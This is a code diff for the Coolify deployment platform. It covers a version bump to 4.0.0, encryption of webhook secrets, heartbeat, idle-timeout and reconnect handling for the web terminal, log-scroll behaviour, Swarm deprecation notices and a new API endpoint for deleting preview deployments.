-259,6 +328,16 @@ function currentTeam() return Auth::user()?->currentTeam() ?? null; } +function find_destination_for_current_team(?string $uuid): StandaloneDocker|SwarmDocker|null +{ + if (blank($uuid) || ! currentTeam()) { + return null; + } + + return StandaloneDocker::ownedByCurrentTeam()->where('uuid', $uuid)->first() + ?? SwarmDocker::ownedByCurrentTeam()->where('uuid', $uuid)->first(); +} + function showBoarding(): bool { if (isDev()) { @@ -3453,10 +3532,10 @@ function wireNavigate(): string try { $settings = instanceSettings(); - // Return wire:navigate.hover for SPA navigation with prefetching, or empty string if disabled - return ($settings->is_wire_navigate_enabled ?? true) ? 'wire:navigate.hover' : ''; + // Return wire:navigate for SPA navigation with prefetching, or empty string if disabled + return ($settings->is_wire_navigate_enabled ?? true) ? 'wire:navigate' : ''; } catch (Exception $e) { - return 'wire:navigate.hover'; + return 'wire:navigate'; } } @@ -3489,34 +3568,6 @@ function getHelperVersion(): string return config('constants.coolify.helper_version'); } -function loadConfigFromGit(string $repository, string $branch, string $base_directory, int $server_id, int $team_id) -{ - $server = Server::find($server_id)->where('team_id', $team_id)->first(); - if (! $server) { - return; - } - $uuid = new Cuid2; - $cloneCommand = "git clone --no-checkout -b $branch $repository ."; - $workdir = rtrim($base_directory, '/'); - $fileList = collect([".$workdir/coolify.json"]); - $commands = collect([ - "rm -rf /tmp/{$uuid}", - "mkdir -p /tmp/{$uuid}", - "cd /tmp/{$uuid}", - $cloneCommand, - 'git sparse-checkout init --cone', - "git sparse-checkout set {$fileList->implode(' ')}", - 'git read-tree -mu HEAD', - "cat .$workdir/coolify.json", - 'rm -rf /tmp/{$uuid}', - ]); - try { - return instant_remote_process($commands, $server); - } catch (Exception) { - // continue - } -} - function loggy($message = null, array $context = []) { if (! isDev()) { diff --git a/config/constants.php b/config/constants.php index 743b5e38c..f2f6946fb 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,9 +2,9 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.474', + 'version' => '4.0.0', 'helper_version' => '1.0.13', - 'realtime_version' => '1.0.13', + 'realtime_version' => '1.0.14', 'self_hosted' => env('SELF_HOSTED', true), 'autoupdate' => env('AUTOUPDATE'), 'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'), diff --git a/config/deprecations.php b/config/deprecations.php new file mode 100644 index 000000000..551b562fa --- /dev/null +++ b/config/deprecations.php @@ -0,0 +1,5 @@ + 'Docker Swarm is deprecated and will be removed in Coolify v5. Coolify v5 will be replacing Swarm with native Docker Compose replicas and our own scaling solution. Existing Swarm deployments will continue to work on v4 as-is. We do not recommend setting up new Swarm deployments for the time being.', +]; diff --git a/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php b/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php new file mode 100644 index 000000000..47ee6e30a --- /dev/null +++ b/database/migrations/2026_04_19_000000_backfill_and_encrypt_webhook_secrets.php @@ -0,0 +1,59 @@ +text($col)->nullable()->change(); + } + }); + + try { + DB::table('applications')->chunkById(100, function ($apps) use ($columns) { + foreach ($apps as $app) { + $updates = []; + foreach ($columns as $col) { + $current = $app->{$col}; + + if (empty($current)) { + $updates[$col] = Crypt::encryptString(Str::random(40)); + + continue; + } + + try { + Crypt::decryptString($current); + + continue; + } catch (Exception) { + // Not encrypted yet + } + + $updates[$col] = Crypt::encryptString($current); + } + if ($updates !== []) { + DB::table('applications')->where('id', $app->id)->update($updates); + } + } + }); + } catch (Exception $e) { + echo 'Backfilling and encrypting webhook secrets failed.'; + echo $e->getMessage(); + } + } +} diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 901aeb833..56c5b416b 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.14' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml index 998d35974..e1c09c64c 100644 --- a/docker-compose.windows.yml +++ b/docker-compose.windows.yml @@ -96,7 +96,7 @@ services: retries: 10 timeout: 2s soketi: - image: 'ghcr.io/coollabsio/coolify-realtime:1.0.13' + image: 'ghcr.io/coollabsio/coolify-realtime:1.0.14' pull_policy: always container_name: coolify-realtime restart: always diff --git a/docker/coolify-realtime/package-lock.json b/docker/coolify-realtime/package-lock.json index 174077562..eae81be6a 100644 --- a/docker/coolify-realtime/package-lock.json +++ b/docker/coolify-realtime/package-lock.json @@ -165,9 +165,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.11", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", - "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", "funding": [ { "type": "individual", diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 3ae77857f..f5760279f 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -105,9 +105,25 @@ const verifyClient = async (info, callback) => { const wss = new WebSocketServer({ server, path: '/terminal/ws', verifyClient: verifyClient }); +const HEARTBEAT_INTERVAL_MS = 30000; +const IDLE_TIMEOUT_MS = 30 * 60 * 1000; + wss.on('connection', async (ws, req) => { + ws.isAlive = true; + ws.on('pong', () => { ws.isAlive = true; }); + const userId = generateUserId(); - const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] }; + ws.userId = userId; + const userSession = { + ws, + userId, + ptyProcess: null, + isActive: false, + authorizedIPs: [], + lastActivityAt: Date.now(), + authReady: false, + pendingMessages: [], + }; const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); const connectionContext = { userId, @@ -117,6 +133,26 @@ wss.on('connection', async (ws, req) => { hasLaravelSession: Boolean(laravelSession), }; + // Register socket handlers up front so messages sent immediately by the client + // (e.g. a command replay on reconnect) are not dropped while the auth/IP fetch + // below is still pending. + ws.on('message', (message) => { + if (userSession.authReady) { + handleMessage(userSession, message); + } else { + userSession.pendingMessages.push(message); + } + }); + ws.on('error', (err) => handleError(err, userId)); + ws.on('close', (code, reason) => { + logTerminal('log', 'Terminal websocket connection closed.', { + userId, + code, + reason: reason?.toString(), + }); + handleClose(userId); + }); + // Verify presence of required tokens if (!laravelSession || !xsrfToken) { logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext); @@ -148,28 +184,66 @@ wss.on('connection', async (ws, req) => { } userSessions.set(userId, userSession); + userSession.authReady = true; logTerminal('log', 'Terminal websocket connection established.', { ...connectionContext, authorizedHostCount: userSession.authorizedIPs.length, + bufferedMessages: userSession.pendingMessages.length, }); - ws.on('message', (message) => { - handleMessage(userSession, message); - }); - ws.on('error', (err) => handleError(err, userId)); - ws.on('close', (code, reason) => { - logTerminal('log', 'Terminal websocket connection closed.', { - userId, - code, - reason: reason?.toString(), - }); - handleClose(userId); - }); + // Drain any messages that arrived while we were waiting on the IP auth call. + while (userSession.pendingMessages.length > 0) { + handleMessage(userSession, userSession.pendingMessages.shift()); + } }); +const heartbeat = setInterval(() => { + wss.clients.forEach((ws) => { + if (ws.isAlive === false) { + logTerminal('warn', 'Terminating WS due to missed protocol pong.'); + return ws.terminate(); + } + ws.isAlive = false; + try { + ws.ping(); + } catch (_) { + // ignore — close handler will follow + } + + const session = ws.userId ? userSessions.get(ws.userId) : null; + if (session?.isActive && session.lastActivityAt && (Date.now() - session.lastActivityAt > IDLE_TIMEOUT_MS)) { + const idleMs = Date.now() - session.lastActivityAt; + logTerminal('warn', 'Closing terminal session due to idle timeout.', { + userId: ws.userId, + idleMs, + idleTimeoutMs: IDLE_TIMEOUT_MS, + }); + try { + ws.send('idle-timeout'); + } catch (_) { + // ignore — close still attempted below + } + killPtyProcess(ws.userId); + setTimeout(() => { + try { + ws.close(1000, 'Idle timeout'); + } catch (_) { + // ignore — already closed + } + }, 100); + } + }); +}, HEARTBEAT_INTERVAL_MS); + +wss.on('close', () => clearInterval(heartbeat)); + const messageHandlers = { - message: (session, data) => session.ptyProcess.write(data), + message: (session, data) => { + session.lastActivityAt = Date.now(); + session.ptyProcess.write(data); + }, resize: (session, { cols, rows }) => { + session.lastActivityAt = Date.now(); cols = cols > 0 ? cols : 80; rows = rows > 0 ? rows : 30; session.ptyProcess.resize(cols, rows) @@ -197,12 +271,6 @@ function handleMessage(userSession, message) { return; } - logTerminal('log', 'Received websocket message.', { - userId: userSession.userId, - keys: Object.keys(parsed), - isActive: userSession.isActive, - }); - Object.entries(parsed).forEach(([key, value]) => { const handler = messageHandlers[key]; if (handler && (userSession.isActive || key === 'checkActive' || key === 'command' || key === 'ping')) { @@ -301,6 +369,7 @@ async function handleCommand(ws, command, userId) { userSession.ptyProcess = ptyProcess; userSession.isActive = true; + userSession.lastActivityAt = Date.now(); ws.send('pty-ready'); diff --git a/openapi.json b/openapi.json index 1acb4d73b..d8557e607 100644 --- a/openapi.json +++ b/openapi.json @@ -3793,6 +3793,70 @@ ] } }, + "\/applications\/{uuid}\/previews\/{pull_request_id}": { + "delete": { + "tags": [ + "Applications" + ], + "summary": "Delete Preview Deployment", + "description": "Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes\/networks, and deletes the preview record.", + "operationId": "delete-preview-deployment-by-pull-request-id", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "pull_request_id", + "in": "path", + "description": "Pull request ID of the preview to delete.", + "required": true, + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "Preview deletion queued.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index 6b16e494e..df2515b06 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2398,6 +2398,48 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/previews/{pull_request_id}': + delete: + tags: + - Applications + summary: 'Delete Preview Deployment' + description: 'Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes/networks, and deletes the preview record.' + operationId: delete-preview-deployment-by-pull-request-id + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: pull_request_id + in: path + description: 'Pull request ID of the preview to delete.' + required: true + schema: + type: integer + responses: + '200': + description: 'Preview deletion queued.' + content: + application/json: + schema: + properties: + message: { type: string } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml index 901aeb833..56c5b416b 100644 --- a/other/nightly/docker-compose.prod.yml +++ b/other/nightly/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.14' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml index 998d35974..e1c09c64c 100644 --- a/other/nightly/docker-compose.windows.yml +++ b/other/nightly/docker-compose.windows.yml @@ -96,7 +96,7 @@ services: retries: 10 timeout: 2s soketi: - image: 'ghcr.io/coollabsio/coolify-realtime:1.0.13' + image: 'ghcr.io/coollabsio/coolify-realtime:1.0.14' pull_policy: always container_name: coolify-realtime restart: always diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 27d911c67..3307b7f2e 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.474" + "version": "4.0.0" }, "nightly": { "version": "4.0.0" diff --git a/package-lock.json b/package-lock.json index 1fcd7cc1e..20aa0e822 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1781,9 +1781,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.11", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", - "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", "dev": true, "funding": [ { diff --git a/public/svgs/cap-captcha.png b/public/svgs/cap-captcha.png new file mode 100644 index 000000000..4b6a7df14 Binary files /dev/null and b/public/svgs/cap-captcha.png differ diff --git a/resources/js/terminal.js b/resources/js/terminal.js index aa5f37353..7a7fc8536 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -42,6 +42,10 @@ export function initializeTerminalComponent() { maxHeartbeatMisses: 3, // Command buffering for race condition prevention pendingCommand: null, + // Last successfully sent SSH command — replayed after a transient reconnect + // so the PTY respawns automatically. Cleared on intentional terminations + // (pty-exited, idle-timeout, unprocessable). + lastSentCommand: null, // Resize handling resizeObserver: null, resizeTimeout: null, @@ -75,8 +79,6 @@ export function initializeTerminalComponent() { focusWhenReady(); }); - this.keepAliveInterval = setInterval(this.keepAlive.bind(this), 30000); - this.$watch('terminalActive', (active) => { if (!active && this.keepAliveInterval) { clearInterval(this.keepAliveInterval); @@ -150,8 +152,11 @@ export function initializeTerminalComponent() { }, clearAllTimers() { - [this.keepAliveInterval, this.reconnectInterval, this.connectionTimeoutId, this.pingTimeoutId, this.resizeTimeout] - .forEach(timer => timer && clearInterval(timer)); + if (this.keepAliveInterval) { + clearInterval(this.keepAliveInterval); + } + [this.reconnectInterval, this.connectionTimeoutId, this.pingTimeoutId, this.resizeTimeout] + .forEach(timer => timer && clearTimeout(timer)); this.keepAliveInterval = null; this.reconnectInterval = null; this.connectionTimeoutId = null; @@ -161,9 +166,17 @@ export function initializeTerminalComponent() { resetTerminal() { if (this.term) { - this.$wire.dispatch('error', 'Terminal websocket connection lost.'); - this.term.reset(); - this.term.clear(); + this.$wire.dispatch('error', 'Terminal websocket connection lost. Reconnecting...'); + // Preserve scrollback so the user keeps the context of their previous + // session. Print a visible marker so they know where the disconnect + // happened. Old PTY shell state cannot be restored — this is purely + // a visual carry-over. + try { + const stamp = new Date().toLocaleTimeString(); + this.term.write(`\r\n\x1b[33m── Connection lost at ${stamp}, reconnecting... ──\x1b[0m\r\n`); + } catch (_) { + // ignore — terminal not ready to receive writes + } this.pendingWrites = 0; this.paused = false; this.commandBuffer = ''; @@ -276,10 +289,22 @@ export function initializeTerminalComponent() { this.connectionTimeoutId = null; } - // Flush any buffered command from before WebSocket was ready + // Flush any buffered command from before WebSocket was ready, otherwise + // replay the last command so a transient reconnect respawns the PTY + // automatically without requiring the user to click Connect again. if (this.pendingCommand) { this.sendMessage(this.pendingCommand); this.pendingCommand = null; + } else if (this.lastSentCommand) { + logTerminal('log', '[Terminal] Replaying last command after reconnect.'); + this.sendMessage(this.lastSentCommand); + } + + // (Re)start application-level keepalive on every successful connect. + // Server-side WebSocket protocol pings are the primary heartbeat; this + // adds a JSON-level ping in case the server-side is older or restarting. + if (!this.keepAliveInterval) { + this.keepAliveInterval = setInterval(this.keepAlive.bind(this), 30000); } // Start ping timeout monitoring @@ -354,6 +379,9 @@ export function initializeTerminalComponent() { sendMessage(message) { if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.socket.send(JSON.stringify(message)); + if (message && message.command) { + this.lastSentCommand = message; + } } else { logTerminal('warn', '[Terminal] WebSocket not ready, message not sent:', message); } @@ -368,8 +396,6 @@ export function initializeTerminalComponent() { }, handleSocketMessage(event) { - logTerminal('log', '[Terminal] Received WebSocket message:', event.data); - // Handle pong responses if (event.data === 'pong') { this.heartbeatMissed = 0; @@ -387,7 +413,15 @@ export function initializeTerminalComponent() { this.term.open(document.getElementById('terminal')); this.term._initialized = true; } else { - this.term.reset(); + // Already initialized — this is a reconnect or a follow-up command. + // Preserve scrollback so the user keeps context. Write a visible + // separator so the new shell prompt is easy to spot. + try { + const stamp = new Date().toLocaleTimeString(); + this.term.write(`\r\n\x1b[32m── Reconnected at ${stamp} ──\x1b[0m\r\n`); + } catch (_) { + // ignore — fall through; xterm will render the new prompt anyway + } } this.terminalActive = true; this.term.focus(); @@ -415,6 +449,7 @@ export function initializeTerminalComponent() { } else if (event.data === 'unprocessable') { if (this.term) this.term.reset(); this.terminalActive = false; + this.lastSentCommand = null; this.message = '(sorry, something went wrong, please try again)'; // Notify parent component that terminal connection failed @@ -423,9 +458,19 @@ export function initializeTerminalComponent() { this.terminalActive = false; this.term.reset(); this.commandBuffer = ''; + this.lastSentCommand = null; // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); + } else if (event.data === 'idle-timeout') { + this.$wire.dispatch('error', 'Terminal closed after 30 minutes of inactivity.'); + this.terminalActive = false; + if (this.term) { + this.term.reset(); + } + this.commandBuffer = ''; + this.lastSentCommand = null; + this.$wire.dispatch('terminalDisconnected'); } else if ( typeof event.data === 'string' && (event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:')) @@ -494,11 +539,6 @@ export function initializeTerminalComponent() { }, keepAlive() { - // Skip keepalive when document is hidden to prevent unnecessary disconnects - if (!this.isDocumentVisible) { - return; - } - if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.sendMessage({ ping: true }); } else if (this.connectionState === 'disconnected') { @@ -524,10 +564,23 @@ export function initializeTerminalComponent() { logTerminal('log', '[Terminal] Tab visible, resuming connection management'); if (this.wasConnectedBeforeHidden && this.socket && this.socket.readyState === WebSocket.OPEN) { - // Send immediate ping to verify connection is still alive + // Connection may be half-open after Cloudflare/proxy idle drop while hidden. + // Probe with a short timeout (5s) instead of the default 35s — force a + // reconnect quickly if no pong arrives so the user is not stuck typing + // into a dead socket. this.heartbeatMissed = 0; this.sendMessage({ ping: true }); - this.resetPingTimeout(); + if (this.pingTimeoutId) { + clearTimeout(this.pingTimeoutId); + } + this.pingTimeoutId = setTimeout(() => { + logTerminal('warn', '[Terminal] Visibility-resume ping timed out, forcing reconnect.'); + try { + this.socket.close(4000, 'Visibility-resume timeout'); + } catch (_) { + // ignore — close handler will run on its own + } + }, 5000); } else if (this.wasConnectedBeforeHidden && this.connectionState !== 'connected') { // Was connected before but now disconnected - attempt reconnection this.reconnectAttempts = 0; diff --git a/resources/views/components/deprecated-badge.blade.php b/resources/views/components/deprecated-badge.blade.php new file mode 100644 index 000000000..9a797048d --- /dev/null +++ b/resources/views/components/deprecated-badge.blade.php @@ -0,0 +1,6 @@ +merge(['class' => 'inline-flex items-center']) }}> + + Deprecated + + diff --git a/resources/views/components/helper.blade.php b/resources/views/components/helper.blade.php index 394f6275f..2542839f1 100644 --- a/resources/views/components/helper.blade.php +++ b/resources/views/components/helper.blade.php @@ -1,4 +1,5 @@ -
merge(['class' => 'group']) }}> +
merge(['class' => 'group']) }}>
@isset($icon) {{ $icon }} @@ -10,7 +11,7 @@ @endisset
-
+
{!! $helper !!}
diff --git a/resources/views/components/server/sidebar.blade.php b/resources/views/components/server/sidebar.blade.php index 2d7649fab..6c62701b8 100644 --- a/resources/views/components/server/sidebar.blade.php +++ b/resources/views/components/server/sidebar.blade.php @@ -41,7 +41,7 @@ @endif @if (!$server->isBuildServer() && !$server->settings->is_cloudflare_tunnel) Swarm (experimental) + href="{{ route('server.swarm', ['server_uuid' => $server->uuid]) }}">Swarm @endif @if (!$server->isLocalhost()) diff --git a/resources/views/emails/api-token-expiring.blade.php b/resources/views/emails/api-token-expiring.blade.php new file mode 100644 index 000000000..18871f6dc --- /dev/null +++ b/resources/views/emails/api-token-expiring.blade.php @@ -0,0 +1,7 @@ + +Your Coolify API token ({{ $tokenName }}) expires on {{ $expiresAt }}. + +Rotate this token before it expires. API calls using this token will start failing once the expiration time is reached. + +Manage your API tokens [here]({{ $manageUrl }}). + diff --git a/resources/views/livewire/destination/index.blade.php b/resources/views/livewire/destination/index.blade.php index 003f1c5b5..aecd58d7a 100644 --- a/resources/views/livewire/destination/index.blade.php +++ b/resources/views/livewire/destination/index.blade.php @@ -29,7 +29,10 @@
-
{{ $destination->name }}
+
+ {{ $destination->name }} + +
server: {{ $destination->server->name }}
diff --git a/resources/views/livewire/destination/show.blade.php b/resources/views/livewire/destination/show.blade.php index f12388770..27260e920 100644 --- a/resources/views/livewire/destination/show.blade.php +++ b/resources/views/livewire/destination/show.blade.php @@ -16,7 +16,9 @@ @if ($destination->getMorphClass() === 'App\Models\StandaloneDocker')
A simple Docker network.
@else -
A swarm Docker network. WIP
+
A swarm Docker network. + +
@endif
diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 02927b0b4..848c46ff7 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -14,7 +14,8 @@ href="{{ route('project.application.advanced', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Advanced @if ($application->destination->server->isSwarm()) Swarm Configuration + href="{{ route('project.application.swarm', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}">Swarm + @endif Environment Variables diff --git a/resources/views/livewire/project/application/deployment/show.blade.php b/resources/views/livewire/project/application/deployment/show.blade.php index d6294f3c8..8618872f5 100644 --- a/resources/views/livewire/project/application/deployment/show.blade.php +++ b/resources/views/livewire/project/application/deployment/show.blade.php @@ -9,6 +9,9 @@ fullscreen: @entangle('fullscreen'), alwaysScroll: {{ $isKeepAliveOn ? 'true' : 'false' }}, rafId: null, + scrollDebounce: null, + isScrolling: false, + lastTouchY: 0, showTimestamps: true, searchQuery: '', matchCount: 0, @@ -19,9 +22,54 @@ scrollToBottom() { const logsContainer = document.getElementById('logsContainer'); if (logsContainer) { + this.isScrolling = true; logsContainer.scrollTop = logsContainer.scrollHeight; + setTimeout(() => { this.isScrolling = false; }, 50); } }, + disableFollow() { + if (!this.alwaysScroll) return; + this.alwaysScroll = false; + if (this.rafId) { + cancelAnimationFrame(this.rafId); + this.rafId = null; + } + }, + handleWheel(event) { + if (this.alwaysScroll && event.deltaY < 0) { + this.disableFollow(); + } + }, + handleTouchStart(event) { + this.lastTouchY = event.touches[0].clientY; + }, + handleTouchMove(event) { + if (!this.alwaysScroll) return; + const currentY = event.touches[0].clientY; + if (currentY > this.lastTouchY) { + this.disableFollow(); + } + this.lastTouchY = currentY; + }, + handleKeyScroll(event) { + if (!this.alwaysScroll) return; + const upKeys = ['ArrowUp', 'PageUp', 'Home']; + if (upKeys.includes(event.key)) { + this.disableFollow(); + } + }, + handleScroll(event) { + if (this.isScrolling) return; + clearTimeout(this.scrollDebounce); + this.scrollDebounce = setTimeout(() => { + const el = event.target; + const distanceFromBottom = el.scrollHeight - el.scrollTop - el.clientHeight; + if (!this.alwaysScroll && distanceFromBottom <= 10) { + this.alwaysScroll = true; + this.scheduleScroll(); + } + }, 150); + }, scheduleScroll() { if (!this.alwaysScroll) return; this.rafId = requestAnimationFrame(() => { @@ -327,7 +375,8 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text-
-

Swarm Configuration

+ @can('update', $application) Save @@ -13,6 +14,9 @@ @endcan
+ + {{ config('deprecations.swarm') }} +
diff --git a/resources/views/livewire/project/database/backup-edit.blade.php b/resources/views/livewire/project/database/backup-edit.blade.php index d5c25916a..898283afd 100644 --- a/resources/views/livewire/project/database/backup-edit.blade.php +++ b/resources/views/livewire/project/database/backup-edit.blade.php @@ -106,7 +106,7 @@ min="0" helper="Automatically removes backups older than the specified number of days. Set to 0 for no time limit." required />
@@ -122,7 +122,7 @@ min="0" helper="Automatically removes S3 backups older than the specified number of days. Set to 0 for no time limit." required />
diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index 23286271a..9283172ad 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -54,7 +54,6 @@ readonly value="Starting the database will generate this." canGate="update" :canResource="$database" /> @endif
-
@@ -76,11 +75,12 @@
+
-
+

Advanced

diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index 856fb8d93..ce46e47dd 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -113,14 +113,15 @@
- - -
- -

Advanced

-
+
+ + +
+ +

Advanced

+
diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 2310242c9..ee3f8fd0c 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -113,14 +113,15 @@
- - -
+
+ + +

Advanced

diff --git a/resources/views/livewire/project/database/mariadb/general.blade.php b/resources/views/livewire/project/database/mariadb/general.blade.php index e3dc39dcf..1154124d1 100644 --- a/resources/views/livewire/project/database/mariadb/general.blade.php +++ b/resources/views/livewire/project/database/mariadb/general.blade.php @@ -137,10 +137,12 @@
+
+
diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index 13a82d350..e9e5d621d 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -151,10 +151,12 @@
+
+
diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index eec9fe1ac..bb3916ec8 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -153,10 +153,12 @@ +
+

Advanced

diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index e8536e735..9c956f5b3 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -163,10 +163,12 @@ - - +
+ + +
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 485c69125..73ee5f0e5 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -132,10 +132,12 @@
- - +
+ + +
Swarm Docker ({{ $swarmDocker->name }}) +
diff --git a/resources/views/livewire/project/shared/get-logs.blade.php b/resources/views/livewire/project/shared/get-logs.blade.php index cb2dcfed1..4ef77081e 100644 --- a/resources/views/livewire/project/shared/get-logs.blade.php +++ b/resources/views/livewire/project/shared/get-logs.blade.php @@ -28,6 +28,38 @@ } }, isScrolling: false, + lastTouchY: 0, + disableFollow() { + if (!this.alwaysScroll) return; + this.alwaysScroll = false; + if (this.rafId) { + cancelAnimationFrame(this.rafId); + this.rafId = null; + } + }, + handleWheel(event) { + if (this.alwaysScroll && event.deltaY < 0) { + this.disableFollow(); + } + }, + handleTouchStart(event) { + this.lastTouchY = event.touches[0].clientY; + }, + handleTouchMove(event) { + if (!this.alwaysScroll) return; + const currentY = event.touches[0].clientY; + if (currentY > this.lastTouchY) { + this.disableFollow(); + } + this.lastTouchY = currentY; + }, + handleKeyScroll(event) { + if (!this.alwaysScroll) return; + const upKeys = ['ArrowUp', 'PageUp', 'Home']; + if (upKeys.includes(event.key)) { + this.disableFollow(); + } + }, scrollToBottom() { const logsContainer = document.getElementById('logsContainer'); if (logsContainer) { @@ -57,17 +89,14 @@ } }, handleScroll(event) { - if (!this.alwaysScroll || this.isScrolling) return; + if (this.isScrolling) return; clearTimeout(this.scrollDebounce); this.scrollDebounce = setTimeout(() => { const el = event.target; const distanceFromBottom = el.scrollHeight - el.scrollTop - el.clientHeight; - if (distanceFromBottom > 100) { - this.alwaysScroll = false; - if (this.rafId) { - cancelAnimationFrame(this.rafId); - this.rafId = null; - } + if (!this.alwaysScroll && distanceFromBottom <= 10) { + this.alwaysScroll = true; + this.scheduleScroll(); } }, 150); }, @@ -473,7 +502,8 @@ class="p-1 text-gray-500 hover:text-gray-700 dark:text-gray-400 dark:hover:text- -
@if ($outputs) diff --git a/resources/views/livewire/security/api-tokens.blade.php b/resources/views/livewire/security/api-tokens.blade.php index 23f0e263e..69eab3e70 100644 --- a/resources/views/livewire/security/api-tokens.blade.php +++ b/resources/views/livewire/security/api-tokens.blade.php @@ -14,13 +14,19 @@

New Token

